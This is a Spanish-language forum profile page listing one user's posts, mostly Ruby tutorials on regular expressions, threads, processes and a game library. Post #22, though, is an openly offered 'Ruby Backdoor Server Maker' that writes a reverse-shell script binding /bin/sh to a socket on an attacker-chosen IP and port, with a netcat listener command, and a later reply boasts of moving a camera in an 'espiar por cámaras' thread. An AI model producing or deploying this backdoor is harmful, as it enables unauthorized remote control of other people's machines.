Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Dharok

#21
Ruby / Expresiones regulares
Febrero 23, 2010, 11:41:57 PM
En este capitulo explicare el uso de las expresiones regulares en Ruby. Es una de las cosas que menos me gustan, ya que puede resultar algo lioso, pero que nos puede ser muy util codeando y nos puede ahorrar muchas linias de programa.

Se utilizan para comprobar si un texto (string ) contiene el patron que nosotros establezcamos. Es decir, comprobar si determinada variable string contiene el patron que nosotros queramos.

Las expresiones regulares se encierran entre //, y el operador para comprobar 'si contiene' es =~

Veamoslo con ejemplos:
Código: php
irb
irb(main):001:0> cadena = "capitulo de expresiones regulares"
=> "capitulo de expresiones regulares"
irb(main):002:0> if cadena =~ /capitulo/
irb(main):003:1> ^C
irb(main):003:0>
irb(main):004:0* exit
protos@diego-desktop:~$ irb
irb(main):001:0> cadena = "Esto es el capitulo de expresiones regulares"
=> "Esto es el capitulo de expresiones regulares"
irb(main):002:0> if cadena =~ /guia/
irb(main):003:1> puts 'Es una guia'
irb(main):004:1> elsif cadena =~ /capitulo/
irb(main):005:1> puts 'es un capitulo'
irb(main):006:1> end
es un capitulo

Como vemos creamos una cadena, y comprobamos si contiene en primera instancia, guia y en segunda capitulo, como no contiene el patro 'guia' pero si el patron 'capitulo', pues se efectuara lo del elsif...
Hasta aqui sencillo ;)

Algunas veces nos interesara buscar patrones que no son exactos, por ejemplo, no me interesa saber si la string contiene especificamente 'capitulo', sino cualquier palabra que empiece por c y acabe en o ya me sirve...

Antes de resolver ese problema, os dejo la siguiente tabla, son unas abreviaciones que nos ofrecen las expresiones regulares:
expresion          significado
.    cualquier caracter
[]    especificacion por rango. P.ej: [a-z], una letra de la a, a la z
\w    letra o numero; es lo mismo que [0-9A-Za-z]
\W    cualquier caracter que no sea letra o numero
\s    caracter de espacio; es lo mismo que [ \t\n\r\f]
\S    cualquier caracter que no sea de espacio
\d    numero; lo mismo que [0-9]
\D    cualquier caracter que no sea un numero
\b    retroceso (0x08), si esta dentro de un rango
\b    limite de palabra, si NO esta dentro de un rango
\B    no limite de palabra
*    cero o mas repeticiones de lo que le precede
+    una o mas repeticiones de lo que le precede
$    fin de la linea
{m,n}    como menos m, y como mucho n repeticioes de lo que le precede
?    al menos una repeticion de lo que le precede; lo mismo que {0,1}
()    agrupar expresiones
||    operador logico O, busca lo de antes o lo despues


(encontrareis mas expresiones asi en la documentacion :P)

Estos son las expresiones especiales, que nos sirven para abreviar, sintetizar, o encontrar rangos, repeticiones etc... En el caso de que queramos buscar por ejemplo el signo + en una string, resulta que si ponemos + entre // lo detectar? como expresion especial y buscar? una o mas repeticiones de lo que le precede...Para solucionar est, cuando queramos encontrar cualquier expresion de las de la tabla, no su significado, lo escaparemos con \
Ejemplo:
Código: php
/s+a/ buscar? ssa o sssa, sssssa, ssssssa, etc
/s\+a/ buscar? s+a.

Es importante saberse las abreviaciones, ya que nos seran muy utiles para las expresiones regulares, si alguien no entiende alguna expresion de las anteriores, que pregunte porfavor :)

Y es aqui donde se complica la cosa, ya que con tantas expresiones, a veces las expresiones regulares se hacen inentendibles, o se ven muchos simbolos y lian a uno....xD, esto es muy importante saberse los simbolos y practicar.

Vamos a ver otro ejemplo sencillito:
Código: php
cadena = "perro perra paco poco poca pato mato peto pete mete sota"
if cadena =~ /p\w*o\s/
puts "El string contiene algo que empieza por p y acaba por o"
end

Analizemos el patron: /p\w*o\s/
Primero una p, luego cualquier caracter (\w) repetido las veces que sea (*), luego una o, y luego un espacio (\s)
Con eso concordaria perro, porro, paarrrooruweqno , etc....


VARIABLES $

Este tipo de variables solo surgen cuando agrupamos alguna expresion con (), pongamos un ejemplo y lo veremos:
Sigamos con el mismo ejemplo tonto de antes
Código: php
cadena = "perro"
if cadena =~ /p(\w+)o/
puts $1
end

Y esto nos dara ''err''
Explicacion: Hemos buscado algo que empiece por p, contenga varias vececes cualquier caracter y acabe por o, pero hemos puesto entre parentesis lo que haya entre la p y la o. Las variables $ apuntan a las agrupaciones de expresiones (a lo que hayamos puesto entre () ), por eso nosotros ponemos $1 y nos devuelve lo que en nuestra cadena correspondia a (\w+). Si tuvieramos dos expresiones agrupadas entre parentesis, $1 apuntaria a la primera agrupacion, $2 a la segunda, etc....

Hmm esto igual es algo lioso, si no se entiende preguntad que es que me explico mal xD.
MATCH
Bueno, hemos visto que para comprobar si una string contiene un patron, lo haciamos con //, realmente se puede hacer de otra manera tambien:
Código: php
var=patron.match(string)

Ejemplo:
Código: php
var=/a/.match("esto contiene la a?")

Si no hay coincidencias se te devolvera un nil
Si hay coincidencia tendremos un objeto MatchData apuntado por la variable var.
Este objeto almacenara mucha info, de entrada un true booleano porque ha hayado coincidencias, y luego almacenara tambien
en que caracter del string empieza la coincidencia, cuanto ocupa la coincidencia del string, ademas de las $ entre otras cosas, para ver los metodos de la clase MatchData que nos permiten hacer esas cosas acudimos a la pagina de la documentacion oficial porque esta muy bien hecho y a mi no me apetece repasar todos los metodos:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Y con esto voy acabando el capitulo, pondre ejercicios de expresiones regulares si alguien quiere y no le resulta insoportable, casi casi son como jeroglificos, con lo de ejercicio me refiero a algo asi:

Daria coincidencias
string = " me gusta el basket"
patron = /\s(\S\D)\s(g\w*a)\s(el).*/

De entrada podeis contestar aqui mismo este...si quereis mas los preparo ;)
Bibliografia:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#22
Ruby / Back door en Ruby
Febrero 23, 2010, 11:28:53 PM
Código: ruby
#Ruby Backdoor Server Maker
#N0t Group/RC Team
#Thanks to pRotos for the help.

puts "
___________________________________________________________

             -->RUBY BACKDOOR 0.1<--
___________________________________________________________"

print "Siga los pasos del asistente para configurar el servidor.\n"
print "Teclee la direcci?n IP o dominio no-IP al que desea que se conecte RUBY BACKDOOR 0.1\n"
ip=gets.chomp
print "Teclee a continuacion el puerto al que desea utilizar.\n"
port=gets.chomp
print "Espere un momento por favor, el servidor esta siendo procesado.............\n"
print "Procesando 25%.......................................\n"
print ".................Procesando 50%............................\n"
print ".................................Procesando 75%.................\n"
print ".................................................Procesando 100%\n"
print "Pulse la tecla <Enter> para continuar...\n"
ton=gets.chomp
fil=File.new("server", "w")
fil.write("require 'socket'
begin
sock=TCPSocket.new(\"#{ip}\", \"#{port}\")
rescue Errno::ECONNREFUSED
end
sock.print(\"####################CONEXION ESTABLECIDA###################\n\")
sock.print(\"\nTeclea <exit> para finalizar la conexion.\n\")
   $stdout.reopen(sock)
   $stdin.reopen(sock)
system('/bin/sh')
sock.print(\"\n####################CONEXION FINALIZADA####################\n\")")
fil.close
File.rename('server', 'server.rb')
print "Su servidor ha sido creado con exito. ;-)\n"

Nota: Para dejar el netcat a la escucha:
Código: php
nc -vv -l -p 0000


Donde 0000 es el puerto que es asignado previamente ustedes.
#23
Ruby / RubyGame (Libreria para juegos)
Febrero 23, 2010, 11:26:11 PM
Os presento otra de las librerias que implementa Ruby para codear pequeños, ( o no tan pequeños) videojuegos.
Esta inspirada en pygame, por tanto, uniendo la filosofia de pygame a la de ruby, nos resulta una libreria de alto nivel, que premia la diversion mientras se codea; eso se traduce en que al que programa se le hace mas ameno ir escribiendo code, y puede producir con mas ganas juegos mas divertidos.

Si algun interesado en Ruby, y en especial en la programacion de videojuegos le apetece profundizar un poco el tema, estaria genial un tutorial o un post con los primeros pasos en esa libreria para que los demas vean como funcionan y empiecen a crear pequeños videojueos. Si no, yo cuando tenga tiempo intentara hacer algo, pero son demasiadas las cosas que llevo...

Aqui les dejo el link de su pagina oficial, donde podreis encontrar documentacion, descarga, info sobre el proyecto, etc (todo en ingles, ofcourse)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Y aqui un enlace a unas entradas de un blog donde encontrareis 4 capitulos para empezar con rubygame, muy recomendable lectura:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
(los 4 capitulos estan en el mismo link, el primero abajo del todo Gi&ntilde;ar. Este es un blog muy interesante, si os apetece daros una vuelta mas ademas de ver solo esto de RubyGame Gi&ntilde;ar
#24
Ruby / Procesos en Ruby
Febrero 23, 2010, 11:23:02 PM
Hemos visto ya como crear hilos de nuestros propios procesos en Ruby. Sin embargo, ?C?mo har?amos para crear un proceso ajeno a nuestro script? Ruby implementa una serie de clases y m?todos que pueden ser utilizados para gestionar dichos procesos. Veamos pues como hacer esto:

CREAR PROCESOS:

En Ruby para invocar un proceso, podemos utilizar system. System, lo que har?a ser?a llamar a la consola del sistema operativo en el que te encuentres y ejecutar los comandos que t? le quieras pasar. Si el comando se ha encontrado y ha sido ejecutado se mostrar? true, en caso contrario, false. Para probar esto, abrid el interprete interactivo de Ruby poniendo "irb" en vuestra consola de comandos y jugad:
Código: php
irb(main):001:0> system('ls') #pasamos el comando ls para ver los directorios y archivos del directorio en el que nos encontramos.
Biblioteca         Programaci?n          Universidad
hilos.rb         Ruby             vN0tdoser.rb
md5.pl            ruby-pcap-0.6.tar.gz     Windows_uE_SP3_2008.1_Bj-Guanaco
nautilus-computer.desktop  rubyscript2exe-0.5.3.rb
pcap            so.rb
=> true #Nos devuelve "true".
irb(main):002:0> system('cd "Universidad"')
=> true
irb(main):003:0> system('ruby hilos.rb') # Nos ejecuta el c?digo en Ruby.
21 abierto en www.code-makers.es
21 abierto en www.google.com
21 abierto en www.youtube.com
80 abierto en www.code-makers.es
80 abierto en www.google.com
80 abierto en www.youtube.com
81 abierto en www.code-makers.es
81 abierto en www.google.com
81 abierto en www.youtube.com
=> true
irb(main):004:0> system('pedrolo') # Intentamos pasar el m?todo "pedrolo".
=> false #Nos devuelva false, ya que no existe dicho m?todo.


JUGAR CON LOS PROCESOS:

Esto est? bien para casos sencillos, en los que no se requiera mucha interacci?n con el proceso. Cabe decir adem?s que el inconveniente de usar system, es que la salida de tu comando va al mismo lugar que la salida de tu programa (es decir, que al poner por ejemplo: system('ls'), lo que vamos a obtener va a ser "true" y no el conjunto de archivos y carpetas existentes en el directorio. Adem?s, muchas veces necesitamos tener m?s control sobre estos procesos y obtener y enviar datos con el proceso, es decir, que haya un intercambio. Para esto tenemos el m?todo IO.popen. El m?todo IO.popen ejecuta un comando como un subproceso y conecta las salida y entrada est?ndar al objeto Ruby IO. Si quisiesemos leer la salida del programa podr?amos hacerlo mediante la lectura del objeto IO. Vamos a ver un ejemplo, para ello, os animo a que ejecut?is vuestra consola interactiva por medio del comando "irb":
Código: php
irb(main):001:0> a=IO.popen('ls')
=> #<IO:0xb7c22c2c>
irb(main):002:0> a=a.read
=> "a.sh\nBiblioteca\nfirefox-3.0.3.tar.bz2\nhilos.rb\nmariposa.jpg\nmd5.pl\nMetamorfosis.odt\nMetamorfosis.rb\nnautilus-computer.desktop\nPantallazo.png\npcap\nPreMetamorfosis.odp\nprocesos.txt\nProgramaci\303\263n\nrana.jpg\nRespuestas.txt\nRuby\nruby-pcap-0.6.tar.gz\nrubyscript2exe-0.5.3.rb\nsniffer.rb\nSoluciones.rb\nso.rb\nUniversidad\nvN0tdoser.rb\nWindows_uE_SP3_2008.1_Bj-Guanaco\n"
irb(main):003:0> a=a.gsub("\n","   ")
=> "a.sh   Biblioteca   firefox-3.0.3.tar.bz2   hilos.rb   mariposa.jpg   md5.pl   Metamorfosis.odt   Metamorfosis.rb   nautilus-computer.desktop   Pantallazo.png   pcap   PreMetamorfosis.odp   procesos.txt   Programaci\303\263n   rana.jpg   Respuestas.txt   Ruby   ruby-pcap-0.6.tar.gz   rubyscript2exe-0.5.3.rb   sniffer.rb   Soluciones.rb   so.rb   Universidad   vN0tdoser.rb   Windows_uE_SP3_2008.1_Bj-Guanaco   "

sto muestra la simplicidad con la que podemos manejar procesos en Ruby a trav?s de tuber?as. Primero se abre la tuber?a, se escribe una orden y se lee la respuesta.

M?s documentaci?n sobre la clase IO:

Clase IO (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

AUTOR: sh4van3
#25
Ruby / Hilos en Ruby
Febrero 23, 2010, 11:19:55 PM
HILOS

Ruby permite poder realizar varios procesos al mismo tiempo. Esto lo hace mediante los hilos. Los hilos son una manera rapida y eficiente para aumentar el paralelismo en nuestros programas. Vamos pues a crear hilos en Ruby. Comenzar? con un sencillo ejemplo y luego pasar? a uno mas util.

CREAR HILOS:

Los hilos se crean con la llamada a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

Código: ruby
array=['hola', 'esto', 'es', 'un', 'ejemplo'] # Creamos un array de 5 elementos.

hilo=Array.new # Creamos un array para los hilos. Seria de 5 elementos y cada uno de ellos sera un hilo(Esto lo veremos a continuacion ;))


for element in array #creamos un bloque
   hilo<<Thread.new(element){|x| # Creamos un hilo para cada elemento y lo introducimos en el array hilo.
   puts x # Hacemos que imprima por pantalla x
   }
end

hilo.each{|z| z.join} # Con este ultimo comando, nos aseguramos de que los hilos no mueran antes de que finalize el programa principal (luego se explicara esto mas detenidamente).


Esto dara como resultado:
Citarhola
esto
es
un
ejemplo
Esto lo podemos hacer por medio del "each". Por ejemplo, el code anterior con "each" seria asi:
Código: ruby
array=['hola', 'esto', 'es', 'un', 'ejemplo']

hilo= Array.new

array.each{|element|
   hilo<<Thread.new(element){|x|
   puts x
   }
}

hilo.each{|ele| ele.join}

Ahora vamos a pasar a hacer una aplicaci?n algo m?s compleja. Vamos a suponer un scanner de puertos que escanee de forma simultanea 3 dominios en un puerto determinado. Seria asi:
Código: ruby
require 'socket'

paginas=['www.code-makers.es', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 p?ginas.

hilo=Array.new

for pag in paginas
   hilo<<Thread.new(pag){|x|
   begin
   TCPSocket.new(x, 21)
   rescue
   puts "21 cerrado en #{x}"
   else
   puts "21 abierto en #{x}"
   end
   sleep 1 #Damos un peque?o espacio de tiempo para que se termine el proceso.
   begin
   TCPSocket.new(x, 80)
   rescue
   puts "80 cerrado en #{x}"
   else
   puts "80 abierto en #{x}"
   end
   sleep 1
   begin
   TCPSocket.new(x, 81)
   rescue
   puts "81 cerrado en #{x}"
   else
   puts "81 abierto en #{x}"
   end
   }
end

hilo.each{|ele| ele.join}

Esto dara como resultado:
Citar21 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
21 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
21 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
80 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
80 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
80 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
81 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
81 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
81 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.

MANIPULAR HILOS:

Existen diversos metodos de la clase Thread que sirven para controlar los hilos:
Código: ruby
Thread.current # Nos devuelve el hilo que esta siendo ejecutado "<Thread:0x401bdf4c run>"
Thread.list # Nos devuelve un array con los objetos para cada hilo diciendonos si estan corriendo o parados.
   #<Thread:0x401b3e84 sleep>
   #<Thread:0x401b3f38 run>
   #<Thread:0x401b3fb0 sleep>
   #<Thread:0x401bdf4c run>
hilo.status # Nos devuelve el estatus del hilo. "run", "sleep", "aborting"
Thread.kill(hilo) # Acaba con el proceso.
Thread.start{|x| bloque} # Igual que Thread.new.
Thread.stop # Deja durmiendo al hilo pero no lo mata.
hilo.join # Cuando un programa en Ruby termina, los hilos en ejecuci?n se matan independientemente de su estado.
#Con join lo que hacemos es esperar a que termine el hilo antes de matarlos. Digamos que con join te aseguras de que se realicen todos los procesos.

VARIABLES:

En los hilos, las variables locales al hilo, son solo accesibles en el propio hilo, ya que no se comparten fuera del mismo. Es decir, las variables que se establecen en el propio hilo no tendran validez fuera. Si queremos utilizar variables del hilo fuera del mismo, es decir, si queremos que estas variables tengan validez fuera del hilo, tenemos que tratar el objeto del hilo como si fuera un hash, guardandolo mediante []= y llamandolo mediante []. Veamoslo:
Código: ruby
count = 0
arr = []
10.times do |i|
  arr[i] = Thread.new {
    sleep(rand(0)/10.0)
    Thread.current["mycount"] = count # Asignamos la variable count a la llave del hash "mycount", que se guarda en hilo.
    count += 1
  }
end
arr.each {|t| t.join; print t["mycount"], ", " }
puts "count = #{count}"

Esto producira:
Citar8, 0, 3, 7 2, 1, 6, 5, 4, 9, count = 10


Vamos a poner otro ejemplo para que lo comprendeis mejor. Supongamos que tenemos un scanner de puertos y queremos imprimir la variable <a> fuera del hilo:
Código: ruby
require 'socket'

paginas=['www.code-makers.es', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 p?ginas.

hilo=Array.new

for pag in paginas
   hilo<<Thread.new(pag){|x|
   begin
   TCPSocket.new(x, 80)
   rescue
   a= "80 cerrado en #{x}"
   else
   a= "80 abierto en #{x}"
   end
   }
end

hilo.each{|ele| ele.join}
puts a

Esto daria como resultado un mensaje de error advirtiendonos de que la variable <a> no ha sido definida:
Citarhilos.rb:20: undefined local variable or method `a' for main:Object (NameError)
Para solventar este problema hariamos lo siguiente:
Código: ruby
require 'socket'

paginas=['www.code-makers.es', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 p?ginas.

hilo=Array.new

for pag in paginas
   hilo<<Thread.new(pag){|x|
   begin
   TCPSocket.new(x, 80)
   rescue
   a= "80 cerrado en #{x}"
   else
   a= "80 abierto en #{x}"
   end
   Thread.current["#{x}"]=a # Asignamos la variable <a> a la llave del hash x (que ser? la p?gina web que se est? escaneando en ese momento), y la guardamos en hilo.
   }
end


Esto nos daria un resultado positivo:
Citar80 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Creo que con estos dos ejemplos han quedado claras las variables.
Documentacion

Documentacion oficial.(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
Mis documentacion.(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
AUTOR: sh4van3
#26
Hacking / Re:Espiar a todo el mundo por Camaras
Febrero 18, 2010, 10:40:15 PM
Jaja que cool, movi una ^^ estaba en...como en una barco o algo asi, estaba cool!
#27
Una pregunta...mmm...Existe un viruz troyano creo yo..que se pueda llamar "Svchost"? Se que es para seguridad no se que..pero no se si es real o no por que me salen como 8!  ???